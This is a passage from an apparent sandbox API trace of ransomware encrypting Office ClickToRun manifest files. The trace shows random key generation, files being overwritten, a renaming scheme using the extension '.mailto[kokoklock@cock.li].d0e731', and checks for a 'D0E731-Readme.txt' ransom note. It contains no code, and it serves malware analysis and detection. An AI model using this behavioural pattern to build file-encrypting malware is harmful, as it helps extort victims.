users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3435458 [0074.394] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.394] wcscat (in: _Dest=0x3435458, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.394] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0074.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4f38) returned 1 [0074.394] RtlExitUserThread (Status=0x1) Thread: id = 633 os_tid = 0xa78 [0074.395] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 0x20 [0074.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.396] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.396] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18a3fd88 | out: lpFileSize=0x18a3fd88*=86894) returned 1 [0074.396] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x1536a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.396] ReadFile (in: hFile=0x960, lpBuffer=0x18a3fd5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x18a3fd5c*, lpNumberOfBytesRead=0x18a3fd58*=0x4, lpOverlapped=0x0) returned 1 [0074.397] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0074.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eed8 [0074.397] NtQuerySystemTime (in: CurrentTime=0x18a3fd34 | out: CurrentTime=0x18a3fd34*=132121176322846599) returned 0x0 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x21ac9514 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x5459a5 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xe91c5247 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x5b82e8e6 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xca0e3331 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xd5a5fc66 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xa2f5ed9c [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xc1aa4d06 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xc2f83c37 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xf5f261e7 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x583fdc5e [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x27887496 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x59c269ff [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xb7557401 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x548f7b3e [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xfd3b11f9 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x183bf17c [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x59b403fe [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xeb52de97 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x64c8825a [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x249dab4f [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xd931cd29 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xedbaa6ae [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x8533605c [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x1ae1da64 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x6066409d [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x530a8708 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x563284a7 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x8a5316d1 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x4312d444 [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0x64773e0e [0074.398] RtlRandom (in: Seed=0x18a3fd40 | out: Seed=0x18a3fd40) returned 0xe2ee4e86 [0074.410] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.410] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18a3fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18a3fd0c*=0x4096, lpOverlapped=0x0) returned 1 [0074.413] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0074.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.414] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18a3fd0c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18a3fd0c*=0x4096, lpOverlapped=0x0) returned 1 [0074.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.414] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x1536e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x18a3fd44*=0x20, lpOverlapped=0x0) returned 1 [0074.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0074.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x341f068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x341f068*, lpNumberOfBytesWritten=0x18a3fd58*=0x8, lpOverlapped=0x0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x18a3fd70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x18a3fd70*, lpNumberOfBytesWritten=0x18a3fd58*=0x4, lpOverlapped=0x0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18a3fd58*=0x4, lpOverlapped=0x0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18a3fd58*=0x6c, lpOverlapped=0x0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x18a3fd58*=0x20, lpOverlapped=0x0) returned 1 [0074.415] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18a3fd58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18a3fd58*=0x4, lpOverlapped=0x0) returned 1 [0074.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0074.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0074.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0074.415] CloseHandle (hObject=0x960) returned 1 [0074.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x33e2008 [0074.416] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" [0074.416] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.416] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.417] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.417] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.417] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226c0) returned 1 [0074.417] RtlExitUserThread (Status=0x1) Thread: id = 634 os_tid = 0xff0 [0074.413] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 0x20 [0074.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.419] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.419] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x18abfd9c | out: lpFileSize=0x18abfd9c*=78078) returned 1 [0074.419] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x130fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.420] ReadFile (in: hFile=0x960, lpBuffer=0x18abfd70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x18abfd70*, lpNumberOfBytesRead=0x18abfd6c*=0x4, lpOverlapped=0x0) returned 1 [0074.421] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0074.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0074.421] NtQuerySystemTime (in: CurrentTime=0x18abfd48 | out: CurrentTime=0x18abfd48*=132121176323166950) returned 0x0 [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x30e5309b [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x5cae2ddf [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x29e3ae3c [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xd767f752 [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x7624bdc7 [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x147f4748 [0074.421] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x800abbb [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xf1697d0d [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x4c8e5613 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xac537ef9 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xdbcea1a8 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x3b190a6d [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x19cf32e8 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x86515742 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xdc4e9833 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x1257b765 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x5fe84f4d [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xa4314ccc [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x786f92b2 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x97fb6bc2 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x7c595e6b [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xe919e472 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x8a711b3e [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x5db5233 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xd39714a6 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x14f83d14 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x9ff507e9 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xc5a83062 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x9a2b71c5 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x4f003504 [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0x78ee68fa [0074.422] RtlRandom (in: Seed=0x18abfd54 | out: Seed=0x18abfd54) returned 0xb0e6421 [0074.433] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.433] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18abfd20, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x18abfd20*=0x4096, lpOverlapped=0x0) returned 1 [0074.436] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0074.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0074.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0074.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0074.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0074.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0074.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.437] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18abfd20, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x18abfd20*=0x4096, lpOverlapped=0x0) returned 1 [0074.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.437] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x130fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.437] WriteFile (in: hFile=0x960, lpBuffer=0x341f068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18abfd58, lpOverlapped=0x0 | out: lpBuffer=0x341f068*, lpNumberOfBytesWritten=0x18abfd58*=0x20, lpOverlapped=0x0) returned 1 [0074.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0074.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.437] WriteFile (in: hFile=0x960, lpBuffer=0x341ec08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x341ec08*, lpNumberOfBytesWritten=0x18abfd6c*=0x8, lpOverlapped=0x0) returned 1 [0074.438] WriteFile (in: hFile=0x960, lpBuffer=0x18abfd84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x18abfd84*, lpNumberOfBytesWritten=0x18abfd6c*=0x4, lpOverlapped=0x0) returned 1 [0074.438] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x18abfd6c*=0x4, lpOverlapped=0x0) returned 1 [0074.438] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x18abfd6c*=0x6c, lpOverlapped=0x0) returned 1 [0074.438] WriteFile (in: hFile=0x960, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x18abfd6c*=0x20, lpOverlapped=0x0) returned 1 [0074.438] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18abfd6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x18abfd6c*=0x4, lpOverlapped=0x0) returned 1 [0074.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0074.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0074.438] CloseHandle (hObject=0x960) returned 1 [0074.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12a) returned 0x341da40 [0074.438] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" [0074.438] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All 